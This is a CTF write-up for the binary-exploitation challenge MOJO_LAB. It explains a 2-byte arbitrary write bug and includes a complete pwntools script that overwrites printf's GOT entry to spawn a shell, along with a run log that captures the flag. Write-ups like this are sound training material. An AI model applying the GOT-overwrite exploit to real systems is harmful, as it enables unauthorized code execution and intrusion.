Skip to main content
MOJO_LAB - CTF Writeup
  1. Writeups/
  2. MOJO-JOJO - CTF Writeups/
  3. Binary Exploitation/

MOJO_LAB - CTF Writeup

·857 words·5 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: MOJO_LAB
Category: PWN
CTF: MOJO-JOJO
Description: TOO LAZY FOR A DESCRIPTION
Connection: nc mojo-pwn.securinets.tn 9007


Challenge Overview
#

MOJO_LAB is a binary exploitation challenge featuring a Powerpuff Girls themed laboratory program. The binary presents a menu-based interface where users can modify DNA sequences, synthesize chemicals, or abandon the laboratory.

Initial Reconnaissance
#

Binary Information
#

$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, not stripped

Security Features
#

  • NX (Non-Executable Stack): Enabled (RW stack, not RWX)
  • PIE: Disabled (executable at fixed address)
  • Partial RELRO: GOT is writable
  • Stack Canary: Present in some functions

Key Observations
#

$ strings main | grep -E "bin|NOOOOO"
/bin/sh
[MOJO JOJO]: NOOOOO! You have compromised my laboratory!

The binary contains a /bin/sh string and a suspicious success message, suggesting there’s a win function.

Vulnerability Analysis
#

The Lab Win Function
#

Disassembling the binary reveals a lab_win function at address 0x4011b6:

00000000004011b6 <lab_win>:
  4011b6:       push   rbp
  4011b7:       mov    rbp,rsp
  ...
  4011e9:       lea    rax,[rip+0xe53]        # 0x402043 ("/bin/sh")
  4011f0:       mov    rdi,rax
  4011f3:       call   401060 <system@plt>

This function calls system("/bin/sh"), giving us a shell if we can reach it.

The Arbitrary Write Primitive
#

The main vulnerability is in option 1 (“Modify DNA Sequence”). Here’s the relevant disassembly:

4014b0:   mov    eax,DWORD PTR [rbp-0x10]  ; User input (offset)
4014b3:   xor    eax,0x7050                 ; XOR with 0x7050
4014b8:   cdqe                              ; Sign extend to 64-bit
4014ba:   lea    rdx,[rax+rax*1]           ; Multiply by 2
4014be:   mov    rax,QWORD PTR [rbp-0x8]   ; dna_sequences base (0x404120)
4014c2:   add    rax,rdx                    ; Calculate target address
4014c5:   mov    edx,DWORD PTR [rbp-0xc]   ; User value to write
4014c8:   mov    WORD PTR [rax],dx         ; Write 2 bytes!

This code allows us to write 2 bytes to an arbitrary memory location using the formula:

target_address = dna_sequences_base + ((user_input ^ 0x7050) * 2)

Where:

  • dna_sequences_base = 0x404120 (in .bss section)
  • We control the user input (signed 32-bit integer)
  • We can write any 2-byte value

The cdqe instruction sign-extends the result, meaning negative offsets work, allowing us to write to addresses before dna_sequences_base - including the GOT!

Exploitation Strategy
#

Why GOT Overwrite?
#

Since PIE is disabled and the GOT is writable (Partial RELRO), we can:

  1. Use the arbitrary write to overwrite a GOT entry
  2. Make it point to lab_win instead of the real library function
  3. Trigger that function to get our shell

Target Selection: printf@got
#

Looking at option 2 in the menu:

4014df:   cmp    DWORD PTR [rbp-0x14],0x2
4014e3:   jne    40151c <main+0x17e>
4014e5:   lea    rax,[rip+0xdc4]
4014ec:   mov    rdi,rax
4014ef:   call   401263 <print_str>
4014f4:   lea    rax,[rip+0x2ba5]        # 0x4040a0 <chemical_x>
4014fb:   mov    rdi,rax
4014fe:   mov    eax,0x0
401503:   call   401080 <printf@plt>      ; printf called here!

Option 2 calls printf, making it the perfect target!

Multiple Writes
#

Since we can only write 2 bytes at a time but need to overwrite an 8-byte GOT entry, we perform 4 consecutive writes:

  1. Write bytes 0-1 of lab_win (0x11b6) to printf@got (0x404028)
  2. Write bytes 2-3 of lab_win (0x0040) to printf@got+2 (0x40402a)
  3. Write bytes 4-5 of lab_win (0x0000) to printf@got+4 (0x40402c)
  4. Write bytes 6-7 of lab_win (0x0000) to printf@got+6 (0x40402e)

This fully overwrites printf@got with 0x00000000004011b6 (lab_win address).

Offset Calculation
#

For each write, we calculate the offset:

offset_raw = (target_address - dna_sequences_base) // 2
offset = offset_raw ^ 0x7050

For printf@got (0x404028):

  • offset_raw = (0x404028 - 0x404120) // 2 = -0xf8 // 2 = -124
  • offset = -124 ^ 0x7050 = -28716

Exploit Code
#

#!/usr/bin/env python3
from pwn import *
import time

context.arch = 'amd64'
context.log_level = 'info'

HOST = 'mojo-pwn.securinets.tn'
PORT = 9007

lab_win = 0x4011b6
dna_sequences = 0x404120
printf_got = 0x404028

def write_word(io, target_addr, value):
    """Write 2 bytes to target address"""
    offset_raw = (target_addr - dna_sequences) // 2
    offset = offset_raw ^ 0x7050
    
    log.info(f"Writing {hex(value)} to {hex(target_addr)}")
    
    io.sendline(b'1')
    time.sleep(0.3)
    io.recv()
    
    io.sendline(str(offset).encode())
    time.sleep(0.3)
    io.recv()
    
    io.sendline(str(value).encode())
    time.sleep(0.3)
    io.recv()

def exploit():
    io = remote(HOST, PORT)
    
    time.sleep(1)
    io.recv()
    
    # Initial input (no '%' character allowed)
    io.sendline(b'test')
    time.sleep(0.5)
    io.recv()
    
    # Overwrite printf@got with lab_win (4 writes of 2 bytes each)
    write_word(io, printf_got, lab_win & 0xFFFF)
    write_word(io, printf_got + 2, (lab_win >> 16) & 0xFFFF)
    write_word(io, printf_got + 4, (lab_win >> 32) & 0xFFFF)
    write_word(io, printf_got + 6, (lab_win >> 48) & 0xFFFF)
    
    # Trigger printf by choosing option 2
    log.success("Printf hijacked! Triggering...")
    io.sendline(b'2')
    time.sleep(1)
    
    log.success("Shell acquired!")
    io.interactive()

if __name__ == '__main__':
    exploit()

Execution
#

$ python3 exploit2.py
[+] Opening connection to mojo-pwn.securinets.tn on port 9007: Done
[*] Writing 0x11b6 to 0x404028
[*] Writing 0x40 to 0x40402a
[*] Writing 0x0 to 0x40402c
[*] Writing 0x0 to 0x40402e
[+] Printf hijacked! Triggering...
[+] Shell acquired!
[*] Switching to interactive mode
$ ls
flag.txt
main
$ cat flag.txt
MOJO-JOJO{22222222_LAZZZZZZZYYYYYYYYYY_JU5T_L1KE_A_LINKER}

Final Flag
#

MOJO-JOJO{22222222_LAZZZZZZZYYYYYYYYYY_JU5T_L1KE_A_LINKER}

Key Takeaways
#

  1. Arbitrary Write Primitives: Even limited writes (2 bytes at a time) can be powerful when combined strategically
  2. GOT Overwrites: With Partial RELRO, the GOT remains writable and is a prime target for function hijacking
  3. Sign Extension Matters: The cdqe instruction allowed negative offsets, expanding our write range
  4. Multiple Writes: Don’t give up if you can only write small amounts - multiple writes can achieve the same goal
  5. PIE Disabled = Fixed Addresses: Makes exploitation much easier as all addresses are predictable

Related